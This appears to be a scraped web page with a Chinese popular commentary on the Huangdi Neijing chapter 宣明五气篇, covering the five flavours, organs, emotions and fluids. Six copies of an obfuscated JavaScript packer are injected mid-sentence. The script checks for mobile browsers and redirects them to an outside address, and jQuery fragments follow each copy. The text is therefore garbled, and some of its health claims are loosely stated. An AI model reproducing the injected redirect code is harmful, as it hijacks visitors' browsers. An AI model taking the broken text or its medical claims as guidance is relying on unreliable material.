《宣明五气篇》主要讨论了人体五脏之气与自然界五行之气的相应关系，以及五脏之气在人体生理、病理中的具体体现。《宣明五气篇》的内容丰富而深刻，对于理解中医的脏腑经络学说、病因病机理论以及治疗原则等方面都具有重要意义。 黄帝与岐伯通过问答的形式，详细阐述了五脏之气与五行之气的对应关系。例如，肝气对应木气，具有生长、升发的特性；心气对应火气，具有炎热、向上的特性；脾气对应土气，具有生化、承载的特性；肺气对应金气，具有沉降、收敛的特性；肾气对应水气，具有滋润、潜藏的特性。这种对应关系不仅揭示了五脏之气的本质属性，也反映了人体与自然界之间的密切联系。 还讨论了五脏之气在人体生理、病理中的具体体现。例如，肝气郁结则会导致情绪抑郁、胁肋胀痛等症状；心气不足则会出现心悸、失眠等症状；脾气虚弱则会出现食欲不振、腹胀便溏等症状；肺气不足则会出现气短、咳嗽等症状；肾气亏损则会出现腰膝酸软、畏寒肢冷等症状。这些病理变化都与五脏之气的失衡有关，因此治疗时也需要根据五脏之气的特性进行辨证施治。 本篇内容主要聚焦于中医理论中五脏与五味之间的密切关系，并以此为基础，深入探讨了与五脏之气相关的发病情况、饮食禁忌、药食性味、病情变化、脏腑功能以及脉象表现等多个方面。这些内容不仅是中医理论体系的重要组成部分，更为临床诊断和治疗提供了重要的指导原则。 在中医理论中，五脏（心、肝、脾、肺、肾）各自具有特定的生理功能和属性，而这些属性与五味（酸、苦、甘、辛、咸）之间有着密切的对应关系。例如，酸味入肝，能收敛肝阳，苦味入心，能泻火降燥，等等。通过理解这种对应关系，医生能够更准确地判断疾病的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428696|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 性质和发展趋势，从而制定更为精准的治疗方案。 还深入探讨了病情变化、脏腑功能和脉象表现等方面的内容。这些内容不仅有助于医生更全面地了解病人的病情和身体状况，还能够帮助医生更准确地判断疾病的预后和转归。例如，通过观察脉象的变化，医生可以了解病人气血的盛衰和脏腑功能的强弱，从而为治疗方案的制定和调整提供有力的支持。 本篇内容为我们提供了一个深入理解中医五脏理论的视角，并为临床诊断和治疗提供了重要的指导原则。通过对这些内容的学习和理解，我们可以更好地掌握中医的精髓和魅力，为人类的健康事业贡献自己的力量。 《宣明五气篇》是中医经典中的重要篇章之一，它对于理解中医的脏腑经络学说、病因病机理论以及治疗原则等方面都具有重要意义。通过学习《宣明五气篇》，我们可以更深入地了解人体五脏之气的特性及其在生理、病理中的体现，为中医临床实践提供有力的理论支持。 第18章 （1）五味入五脏，养生之道尽在其中 饮食五味进入胃中后各自进入相应脏腑的说法，这其实是中医理论中的“五入”理论。这一理论强调了食物中的五味（酸、辛、苦、咸、甘）与人体五脏（肝、肺、心、肾、脾）之间的密切联系。 “酸味入肝”，这其实是中医理论中“五味入五脏”理论的一部分。在中医理论中，食物和药物的性质与人体内部的脏腑有着密切的关系，而酸味被认为与肝脏有特别的联系。 酸味具有收敛、固涩的特性，这种性质确实能够帮助肝脏收敛气血，维护肝脏的正常功能。中医理论认为，酸味能够抑制肝阳上亢，有助于平息肝火，对于因肝火旺盛而导致的烦躁易怒、头晕头痛等症状有一定的缓解作用。 此外，酸味还能够促进肝气的疏泄，有助于缓解因肝气郁结而导致的胸闷、胁痛等症状。因此，在中医理论中，酸味被视为对肝脏有益的味道。 然而，需要注意的是，虽然酸味对肝脏有益，但过量食用酸味食物或药物也可能对肝脏造成一定的负担。因此，在饮食中应该保持五味平衡，避免偏食或过量食用某一类食物。 “辛味入肺”，辛味在中医里通常被认为具有发散、行气的特性，这与肺部的功能特点相契合。 肺部在中医理论中主要负责宣发肃降，也就是将气血和精气输送到全身，并排出体内的浊气。辛味食物或药物能够刺激肺部的功能，促进气血的流通，有助于肺部宣发肃降，保持呼吸道的畅通。 具体来说，辛味能够刺激肺部的气血循环，帮助肺部更好地完成其生理功能。同时，辛味还能够促进痰液的排出，有助于缓解因痰液阻塞而导致的呼吸道不畅等问题。 然而，需要注意的是，虽然辛味对肺部有益，但过量食用辛味食物或药物也可能导致身体的不适。因此，在饮食中应该保持五味平衡，避免偏食或过量食用某一类食物。 “苦味入心”，苦味被认为具有清热、燥湿的特性，这与心脏的功能特点相契合。 首苦味能够清热。在中医看来，心脏主火，苦味食物或药物能够清心泻火，有助于缓解因心火旺盛而导致的烦躁不安、失眠多梦等症状。例如，莲子心、苦瓜等苦味食物常被用于养心安神，对于改善睡眠质量有一定帮助。 苦味能够燥湿。湿气过重容易导致体内气血不畅，影响心脏的正常功能。苦味食物或药物能够燥湿利水，有助于排除体内湿气，保持气血畅通。例如，黄连、黄柏等苦味药物常被用于治疗湿热病症，对于保护心脏健康有一定作用。 “苦味入心”是中医理论中一个重要的观点，通过适量食用苦味食物或药物，我们可以帮助心脏保持健康状态，缓解因心火旺盛或湿气过重而导致的各种症状 咸味入肾”，让我们来理解一下咸味的特点。在中医理论中，咸味具有软坚、散结的特性。这意味着它能够软化体内的硬结、消散肿块，有助于改善因痰、食积等原因导致的体内不适。 接下来，我们来看看肾脏的功能。肾脏在中医中被认为是“先天之本”，主藏精，主水液代谢。它负责将体内的废液和毒素通过尿液排出体外，维持体内的水液平衡。同时，肾脏还参与调节人体的生长发育和生殖功能。 那么，咸味是如何滋养肾脏的呢？由于咸味具有软坚、散结的特性，它能够帮助肾脏排除体内的毒素和废液，减轻肾脏的负担。同时，咸味还能够促 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428697|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 进肾脏的代谢和排泄功能，使体内的水液得以正常循环和排泄。这对于维持肾脏的健康状态至关重要。 “甘味入脾”甘味，通常指的是具有甜味的食物或药物，它们具有补益、和中的特性，对于脾胃的养护有着不可忽视的作用。 甘味如何补益脾胃。脾胃在中医中被称为“后天之本”，主运化水谷精微，是气血生化的源泉。甘味食物或药物能够补益脾胃，增强脾胃的消化功能，使其能够更好地运化食物，产生精微物质供给全身。这不仅有助于提升身体的整体营养水平，还能增强身体的免疫力和抵抗力。 甘味还具有和中的特性。在中医看来，甘味能够调和药性，缓解药物的毒性或副作用，使其更好地发挥治疗作用。同时，甘味还能够调和五脏之间的关系，保持五脏之间的平衡和协调。这对于维护身体的整体健康状态至关重要。 在中医的食疗和药疗中，“甘味入脾”的理论有着广泛的应用。通过合理搭配食物的五味，我们可以达到调和五脏、增强身体健康的目的。例如，在脾胃虚弱、消化不良的情况下，可以适当增加甘味食物的摄入，如红枣、山药、蜂蜜等，以补益脾胃、增强消化功能。 这一理论也强调了食物对人体健康的重要性。食物不仅是身体所需营养的来源，还具有一定的药用价值。因此，我们在日常饮食中应该注意食物的选择和搭配，避免过度食用某一味的食物，以保持五脏的平衡和健康。 “甘味入脾”是中医理论中的一个重要观点，它揭示了甘味食物或药物对脾胃的补益作用，以及食物对人体健康的重要性。通过合理搭配食物的五味，我们可以达到调和五脏、增强身体健康的目的。 第18章 （2）五脏之气失调，警惕这些身体信号 五脏之气失调后所引发的病变，首先我们需要明确，中医理论中五脏与身体各种功能有着密切的联系，当五脏之气失调时，确实可能引发一系列的症状。 心气失调，则更多地表现为心悸、失眠、多梦等心脏功能失调的症状。这是因为心主血脉，心的功能失调会影响到全身血脉的流通，进而引发一系列与心脏相关的症状。 在中医理论中，心火旺盛可能导致胃热上逆，进而间接引起嗳气的症状。这是因为心火过旺，会消耗体内的阴液，使得胃的阴液不足，胃的功能受到抑制，胃气上逆，从而导致嗳气。 因此，在治疗嗳气时，中医通常会从调和心胃、清热降火的角度入手，通过调整心火和胃气的平衡，达到治疗嗳气的目的。同时，也需要注意调整生活习惯和饮食结构，避免过度劳累和暴饮暴食等不良习惯，以保持心胃的健康状态。 肺是一个至关重要的器官，它主气、司呼吸，与我们的呼吸功能紧密相连。当肺气失调时会导致一系列与呼吸相关的症状，其中最常见的便是咳嗽。 肺气失调，意味着肺的功能出现了异常，这种异常可能是由于外邪侵袭、内伤疾病等多种因素引起的。当肺气失于宣降时，就会影响到呼吸的顺畅，导致咳嗽、气喘等症状的出现。这是因为肺的功能在于宣发和肃降，当肺气失调时，这种宣降的功能就会受到影响，使得呼吸不畅，进而引发咳嗽等症状。 除了咳嗽和气喘外，肺气失调还可能引起其他与呼吸相关的症状，如胸闷、气短等。这些症状都是肺气失调后，呼吸功能受到影响所导致的。 因此，在中医理论中，治疗肺气失调引起的咳嗽等症状，通常会从调和肺气、宣肺止咳等角度入手，通过调整肺的功能，恢复其宣降的平衡，从而达到治疗的目的。同时，也需要注意避免吸烟、空气污染等有害因素对肺的损害，以保持肺的健康状态。 关于肝气失调与情绪波动的关联，肝被赋予了“主疏泄”的重要职责。这里的“疏泄”不仅仅是指肝在物质代谢、气血运行方面的作用，更重要的是它对于人体情志的调节功能。 当肝气失调时，人们往往会出现情绪不稳定、易怒、胁肋胀痛等症状。这是因为肝气的顺畅对于情绪的调节起着至关重要的作用。当肝气郁结不畅时，人的情绪就容易受到影响，表现出易怒、烦躁等负面情绪。 而关于“多言”的现象，我们可以从中医的角度来解读。虽然肝气失调本身并不直接导致“多言”，但由于肝气失调可能引起的情绪波动，人们可能会因为情绪的不稳定而表现出更多的言语。这种“多言”并非出于自愿或需要，而是情绪失控的一种表现。 因此，我们可以说，肝气失调间接可能导致情绪波动，从而表现出“多言”的现象。但需要注意的是，这种“多言”并不是肝气失调的主要症状，而是情绪失控的一种表现。在调理肝气失调时，我们应该注重调和情绪，保持心情的舒畅和稳定，这样才能更好地缓解肝气失调带来的症状。 脾气失调时，主要表现为食欲不振、腹胀、便溏等消化系统症状。这是因为脾在中医理论中主运化，负责将食物转化为人体所需的营养物质，并将其输送到全身各处。当脾气失调时，运化功能就会受到影响，导致食物无法被正常消化和吸收，进而引发一系列消化系统症状。 脾胃在中医理论中是一对关系密切的脏腑，脾主运化，胃主受纳，两者 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428698|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 相互协作，共同完成了食物的消化和营养的吸收。当脾气失调时，不仅会影响到脾自身的运化功能，还可能会影响到胃的受纳和消化功能。因此，脾气失调可能会间接导致胃的消化功能异常，从而引发吞酸等症状。 在处理这类问题时，中医通常会从调和脾胃、健脾和胃的角度入手，通过调整脾胃的功能状态，达到治疗脾气失调和缓解相关症状的目的。 肾气失调，确实是一个在中医理论中常被提及的概念。当肾气失调时，人们往往会表现出腰膝酸软、耳鸣、遗精、尿频等一系列症状。这些症状看似独立，实则都与肾气的功能密切相关。 肾被视为“先天之本”，意味着它对于人体的生长、发育和生殖等方面都具有重要的影响。肾气不足时，不仅会出现上述的局部症状，更可能导致整体免疫力的下降。这是因为肾气不仅关系到人体的生理功能，还涉及到免疫系统的调节。 当肾气不足，免疫力减弱时，人体就更容易受到外邪的侵袭。外邪，可以理解为环境中的各种病原体或有害物质。当这些外邪侵入人体时，就可能引发一系列的反应，如打喷嚏等。打喷嚏虽然看似简单，实则是人体在通过呼吸系统排出外邪的一种自我保护机制。 因此，我们可以说，肾气失调不仅会导致腰膝酸软、耳鸣、遗精、尿频等局部症状，还可能通过影响整体免疫力，间接导致打喷嚏等全身症状的出现。在治疗时，中医通常会采用补肾益气的方法，以恢复肾气的功能，提高整体免疫力，从而缓解相关症状。脏之气失调所引发的病变是复杂多样的，不能简单地将某一症状与某一脏腑的失调直接对应起来。 这章没有结束，请点击下一页继续阅读！ 第18章 （3）五脏之气过度聚集对身体的影响 五脏的精气是维持人体正常生理功能的基础。当五脏的精气出现相并，即某一脏的精气过度聚集，或与其他脏的精气发生异常相互作用时，就可能导致特定的情绪或行为异常，这就是所谓的“五并”。 精气是生命活动的核心要素之一，而心作为“五脏六腑之大主”，与人的精神、情绪活动紧密相连。当精气并聚于心时，人们可能会表现出过度的喜悦情绪。 这种过度的喜悦，并非简单的快乐或愉悦，而是指情绪上的过度兴奋和亢进。这是因为心主神明，当心的精气过于旺盛或出现异常时，就会影响到人的情绪中枢，使之过度活跃，从而表现出过度的喜悦。 值得注意的是，这种过度的喜悦并非总是积极的。在中医看来，过度的情绪反应往往是一种失衡的表现，可能会对身体和精神健康造成负面影响。因此，当发现自己或他人出现过度喜悦的情绪时，应该及时调整，保持情绪的稳定和平衡。 从中医的角度来看，调整情绪的方法有很多，如通过调整饮食、作息、运动等方式来调和体内的精气，使之达到平衡状态。同时，也可以通过一些中医的养生方法来缓解过度的情绪反应，如按摩、针灸、拔罐等。当然，这些方法需要在专业的中医医师指导下进行。 总之，当精气并聚于心时，人们可能会表现出过度的喜悦情绪。这是心主神明、精气过旺的表现。为了保持身体的健康和精神的平衡，我们应该及时调整情绪，保持稳定的情绪状态。 “精气并于肺”时，会涉及到情绪与脏腑之间的紧密联系。在中医看来，肺主气，司呼吸，主宣发肃降，是人体内重要的脏腑之一。当肺的精气出现异常时，比如肺气虚弱或肺气郁结，确实可能影响到人的情绪，使之表现出悲伤的状态。 这种悲伤并非简单的情绪低落，而是与肺气的失衡紧密相关。肺气的宣发肃降功能受到影响，可能导致气机不畅，气血运行受阻，从而影响到人的情绪中枢，使之产生悲伤之感。 然而，我们也要明确，悲伤情绪的产生不仅仅与肺气有关，还可能与个人的生活环境、心理状态等多种因素有关。因此，在调节悲伤情绪时，除了关注肺气的调理外，还需要综合考虑其他因素，如调整生活习惯、改善心理状态等。 总之，当精气并于肺时，人可能会表现出悲伤的情绪。这与肺气的失衡有关，需要我们关注并采取相应的措施来调理 “肝主疏泄，调畅气机”。这意味着肝在人体内扮演着疏导、调节气机的关键角色。当肝的精气出现异常，过于旺盛或郁结时，肝的疏泄功能便会受到影响，导致气机不畅，进而影响到人的情绪状态。 当精气并于肝时，人们往往会表现出忧虑、烦躁等情绪。这是因为肝气的郁结使得情绪无法得到有效的疏导和调节，从而在心中积压，形成忧虑之感。同时，肝气的郁结还可能影响到其他脏腑的功能，进一步加剧情绪的波动。 为了缓解这种情绪状态，中医建议通过调理肝气、恢复肝的疏泄功能来解决问题。例如，可以通过饮食调理、药物治疗、情志调养等方式来疏肝解郁，恢复肝气的正常运行。此外，保持良好的生活习惯和作息规律也有助于预防肝气郁结的发生。 脾被视为“后天之本”，主运化，统摄血液，与人的情绪状态有着密切的关系。当精气并于脾时，人可能会表现出畏惧的情绪。这是因为脾的精气出现异常，如脾气虚弱或脾阳不振，会影响到脾的运化功能，进而影响到人的情绪状态。 具体来说，脾的运化功能主要是指脾将食物转化为精微物质，并将这些物质输送到全身各处，以滋养身体。当脾气虚弱或脾阳不振时，脾的运化功能减弱，人体内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428699|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的气血生成和循环就会受到影响，导致人缺乏自信，易于产生畏惧感。 从中医的角度来看，这种畏惧情绪并非简单的心理反应，而是与脾的生理功能密切相关。因此，在调理这种情绪时，我们需要从脾的生理功能入手，通过调整饮食、作息等方式来增强脾的运化功能，从而缓解畏惧情绪。 肾被视为“先天之本”，主藏精，主水液代谢，与人体的生长发育、生殖以及情绪状态等有着密切的关系。当精气并于肾时，人们可能会表现出恐惧的情绪。 这种恐惧情绪并非简单的害怕或担忧，而是与肾的精气状态紧密相关。当肾的精气出现异常，如肾精亏虚或肾气不足时，人体的阴阳平衡被打破，导致脏腑功能失调，进而影响到人的情绪状态。 具体来说，肾精亏虚可能导致人体内的精气不足，无法滋养脏腑和神经系统，从而使人缺乏自信，容易感到恐惧和不安。而肾气不足则可能导致人体的阳气不足，无法驱散体内的阴寒之气，从而使人感到寒冷和恐惧。 为了缓解这种恐惧情绪，中医建议通过调理肾气、补充肾精的方法来改善肾的功能状态。例如，可以通过饮食调养、运动锻炼、药物调理等方式来增强肾气、补充肾精，从而恢复人体的阴阳平衡和脏腑功能。 此外，我们还需要注意到，恐惧情绪的产生也可能与个人的生活环境、心理因素等有关。因此，在调理恐惧情绪时，除了关注肾的功能状态 外，还需要综合考虑个人的实际情况，采取综合性的调理措施，如心理咨询、情绪疏导等。 总之，当精气并于肾时，人们可能会表现出恐惧的情绪。这种情绪与肾的精气状态紧密相关，需要通过调理肾气和补充肾精的方法来改善。同时，我们还需要关注个人的实际情况，采取综合性的调理措施来缓解恐惧情绪。 第18章 （4）五脏“黑名单”：揭秘它们最害怕什么！ 在中医理论中五脏各有所恶，这体现了中医对于人体脏腑功能与环境因素之间相互关系的深刻理解。具体来说，心厌恶热，肺厌恶寒，肝厌恶风，脾厌恶湿，肾厌恶燥，这些“所恶”反映了五脏在生理和病理状态下对于外界环境因素的敏感性和适应性。 心主血脉，其性属火，因此心对于热有着天然的敏感性。当外界环境过热时，人体的心火容易亢盛，这就像是给火堆加了过多的燃料，火势过旺，自然会影响到人体的平衡。 心火亢盛时，人们往往会出现心烦、失眠、口舌生疮等症状。这是因为心火过旺，会扰乱心神，导致人无法安宁，睡眠质量下降。同时，心火上炎，还可能引起口腔和咽喉部位的不适，表现为口舌生疮、咽喉肿痛等。 在夏季或炎热的环境中，我们确实应该注意养心。首先，要避免过度劳累，因为过度劳累会消耗大量的心血，导致心气不足，进一步加重心火亢盛的症状。其次，要保持情绪的稳定，避免过度的情绪波动，因为情绪波动也会影响到心神的安宁，进而影响到心的正常功能。 除了以上两点，我们还可以采取一些具体的措施来养心。比如，可以多吃一些具有养心安神作用的食物，如莲子、百合、桂圆等。同时，也可以适当进行一些养心安神的活动，如冥想、瑜伽、太极拳等，这些活动都有助于舒缓心情，缓解压力，进而起到养心的作用。 肺主气，司呼吸，它的属性与金相应，因此肺厌恶寒冷。这种理论并不是空穴来风，而是基于对人体生理和自然环境长期观察的结果。 想象一下，当我们置身于寒冷的冬季，或是突然遭遇寒风侵袭时，身体往往会不由自主地颤抖，呼吸也变得急促起来。这是因为寒冷的环境会消耗我们体内的阳气，尤其是肺部的阳气。当肺气不足时，它的宣发和肃降功能就会受到影响，导致我们出现咳嗽、气喘等症状。 因此，在冬季或寒冷的环境中，我们要特别注意养肺。一方面，要避免长时间暴露在寒冷的环境中，以免肺部受到过多的寒气侵袭；另一方面，要注意保暖，及时增添衣物，避免受凉。此外，还可以通过饮食来调养肺部，多吃一些具有润肺作用的食物，如梨、银耳、百合等，以增强肺部的抵抗力。 肝被赋予了“主疏泄，调畅气机”的重要职责，其属性与木相应，象征着生长、条达与舒畅。而风，作为自然界中一种无形的力量，虽然带来生机，但同样具有侵袭性。因此，中医理论中认为“肝厌恶风”，这并非指字面意义上的厌恶，而是指风邪容易对肝脏造成不良影响。 当风邪侵犯人体时，首当其冲的就是肝脏。因为肝脏是调节人体气机的重要器官，一旦受到风邪的干扰，就可能导致肝气郁结或肝风内动。这种病理状态会进一步引发一系列的症状，如头痛、眩晕、肢体麻木等，严重影响人们的日常生活和健康。 在春季或风大的环境中，由于风邪较为盛行，人们更应该注意养肝。因为春季是肝气生发的季节，也是风邪最为活跃的时期。此时，如果肝脏受到风邪的侵袭，就可能导致肝气疏泄不畅，进而引发各种疾病。 为了保持肝脏的疏泄功能正常，我们可以采取一些措施来养肝。首先，要注意避免长时间暴露在风大的环境中，减少风邪对肝脏的侵袭。其次，可以通过饮食来调养肝脏，多吃一些具有养肝作用的食物，如枸杞、菊花、决明子等。此外，还可以适当进行一些养肝的运动，如太极拳、八段锦等，以舒展肝气，保持其正常的疏泄功能。 脾厌恶湿，脾主运化，负责将水谷精微转化为人体所需的营养物质，并统摄血液，确保其在体内的正常运行。脾的性质与土相似，具有承载、生化万物的特性。然而，当脾遭遇湿邪侵袭时，其功能就会受到严重影响。 湿邪，作为一种常见的外邪，具有重浊、黏滞的特性，容易困阻脾胃，使其功能失调。在湿邪的影响下，人们常常会出现食欲不振、腹胀、便溏等症状，这些都是脾胃功能失调的表现。 在梅雨季节或潮湿的环境中，湿邪尤为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428700|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盛行。因此，人们在这个时期要特别注意养脾，避免湿邪的侵袭。具体来说，可以采取以下措施： 1. 饮食调养：多吃一些具有健脾祛湿作用的食物，如山药、薏米、红豆等。同时，要避免食用过于油腻、生冷的食物，以免加重脾胃的负担。 2. 生活习惯：保持居室的干燥通风，避免长时间处于潮湿的环境中。此外，要适当进行体育锻炼，如散步、慢跑等，以增强脾胃的运化功能。 3. 精神调养：保持良好的心态，避免过度焦虑、抑郁等情绪对脾胃造成不良影响。 “肾主藏精，主水液代谢，其性属水，因此肾厌恶燥”的中医观点，确实反映了中医对肾功能的深刻理解和认识。 肾在中医理论中被视为“先天之本”，具有藏精、主水液代谢的功能。这里的“精”不仅仅指生殖之精，更包含了人体的生命活力和物质基础。肾通过藏精，为人体提供源源不断的能量和物质支持。同时，肾还主水液代谢，调节体内水液平衡，确保身体各部位得到充足的水分滋养。 肾的属性为水， 与自然界中的水有相似的特性。水具有滋养、润滑、流动等特性，而肾作为人体内的“水脏”，也具有类似的性质。因此，肾厌恶燥，即害怕干燥的环境和燥邪的侵袭。燥邪容易耗伤肾阴，导致肾阴不足，进而引发一系列的症状，如腰膝酸软、耳鸣、遗精等。 在秋季或干燥的环境中，人们应特别注意养肾。因为秋季气候干燥，容易耗伤人体内的阴液，包括肾阴。因此，建议人们在秋季多食用一些具有滋阴润燥作用的食物，如梨、藕、百合等，以补充体内的阴液，保持肾的藏精和主水液代谢功能正常。同时，还要注意保持室内的湿度适宜，避免过度干燥的环境对肾造成伤害。 总之，五脏各有所恶，了解这些“所恶”有助于我们在日常生活中更好地保护自己的身体健康。在特定的季节或环境中，我们可以有针对性地调养五脏，避免外界环境对五脏的不良影响。 第18章 （5）五脏与五液：你真的了解它们的关系吗 五脏化生的五液一个非常有趣且重要的概念。在中医看来，人体的五脏（心、肝、脾、肺、肾）不仅各自具有特定的生理功能，而且它们还分别化生和调控着体内的五种液体：汗、涕、泪、涎、唾，这些液体在维持人体正常生理功能中扮演着不可或缺的角色。 关于心之液化为汗。心被誉为“君主之官”，不仅主宰着人体的血脉运行，还与人的情志、意识等密切相关。而汗，作为人体的一种自然排泄物，其生成与排泄同样受到心的调控。 具体来说，中医认为汗是由心血化生而成。这里的“心血”并非字面意义上的血液，而是指心气、心阳等生命活动的动力源泉。当心气充沛、心阳旺盛时，人体内的代谢活动就会旺盛，汗液的生成与排泄也会相应增加，从而帮助调节体温、排除体内毒素。 反过来，如果心血不足或心阳虚弱，人体的代谢活动就会减弱，汗液的生成与排泄也会受到影响。这种情况下，人体可能会出现汗液分泌减少、体温调节失常等症状，甚至可能引发一系列疾病。 因此，通过观察和调节汗液的生成与排泄情况，中医可以间接了解人体内心的健康状况，从而采取相应的治疗措施。 肺之液化为涕时，涕的主要功能之一是润泽鼻窍。正如我们所知，鼻腔是我们呼吸的主要通道，而涕的存在能够保持鼻腔的湿润，确保我们在呼吸时能够顺畅无阻。此外，涕还有一个重要的防御功能，那就是防止灰尘等微小颗粒入侵我们的呼吸系统。当空气中的尘埃或其他微粒进入鼻腔时，涕会将其黏附并排出体外，从而保护我们的肺部免受污染。 然而，当肺气虚弱或受到外邪侵袭时，这种自然的保护机制就会受到影响。肺气虚弱可能导致涕液的生成不足，使得鼻窍失去应有的润泽，从而出现鼻干、鼻塞等症状。而外邪侵袭，如风寒、病毒等，也可能刺激鼻腔黏膜，导致分泌过多的涕液，引发流涕、打喷嚏等反应。 因此，我们可以通过观察涕的状态和分泌情况，来判断肺部的健康状况。如果出现流涕、鼻塞等症状时，除了要及时就医外，还可以通过一些中医的养生方法来调理肺气，如保持室内空气清新、避免过度劳累、适当进行呼吸锻炼等。 涕作为肺之液化的产物，在中医理论中具有重要的地位。它不仅是我们呼吸系统的守护者，还是我们了解肺部健康状况的重要窗口。 肝主疏泄，调畅气机，与人的情绪、气血运行等密切相关。而泪，这一我们日常生活中常见的体液，实际上是由肝气化生而来。它不仅仅具有滋润眼睛的作用，还是人体排除毒素的一种途径。当我们的眼睛感到疲劳或不适时，适当的流泪可以帮助舒缓眼部不适，同时也能够排出体内的一些有害物质。 然而，当肝气郁结或肝火上炎时，肝的疏泄功能就会受到影响，从而导致泪液的分泌和排泄出现异常。这时，我们可能会出现流泪、眼睛干涩等症状。这些症状不仅是眼部问题的体现，更是肝脏健康状况的反映。 因此，当我们遇到眼部不适时，除了关注眼睛本身的问题外，还应该从中医的角度去思考是否与肝脏的健康状况有关。通过调节肝脏的功能，改善肝气郁结或肝火上炎的情况，往往能够从根本上解决眼部问题。 “肝之液化为泪”这一观点为我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13428701|141410||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们提供了理解肝脏与眼睛之间关系的新视角。在日常生活中，我们应该注重肝脏的保养和调节，以维护眼睛的健康和舒适。 脾被誉为“后天之本”，与我们的饮食、消化、免疫等方面都息息相关。而“脾之液化为涎”。涎，即我们俗称的口水，其实是一种由脾气化生而成的口腔分泌液。它的主要功能是润泽口腔，帮助消化食物。当我们品尝美食时，涎的分泌不仅能让食物更加美味，还能促进食物的消化和吸收。 然而，当脾气虚弱或湿热内蕴时，涎的分泌就会受到影响。脾气虚弱时，涎的分泌可能会减少，导致口腔干燥、食物难以消化等问题。而湿热内蕴时，涎的分泌可能会增多，甚至流出口腔，形成所谓的“流涎”现象。这些症状不仅影响我们的饮食体验，还可能引发一系列健康问题。 针对这些问题，中医提出了多种调理方法。例如，对于脾气虚弱引起的涎液分泌减少，可以通过健脾益气、滋阴润燥的中药进行调理；对于湿热内蕴引起的涎液分泌增多，则可以采用清热利湿、健脾化湿的中药进行治疗。 总之，“脾之液化为涎”这一观点为我们理解脾与口腔分泌液之间的关系提供了独特的视角。在日常生活中，我们应该注重脾胃的保养，保持脾气的健旺和口腔的健康。同时，在出现相关症状时，也应该及时寻求专业的中医调理建议。 肾不仅被看作是生命之源，更是与人体内的多种体液有着密切的关系。其中，“肾之液化为唾”这一观点，就为我们揭示了肾与唾液之间的紧密联系。 小主，这个章节后面还有哦，请点击下一页继续阅读，后面更精彩！ 第18章 （6）疾病患者饮食禁忌：五味清单在此 食物的五味（酸、苦、甘、辛、咸）与人体内的脏腑器官及气血运行有着密切的关系。其中，辛味食物具有发散、行气、活血等作用，适量食用可以促进气血流通，但若食用不当或过量，也可能对身体健康造成不利影响。 对于气病患者来说，由于体内气血运行不畅，常常会出现胸闷、气短、呼吸不畅等症状。此时，若再大量食用辛味食物，可能会进一步加重气血不畅的情况，导致病情恶化。因此，中医建议在气病期间应尽量避免或减少辛味食物的摄入。 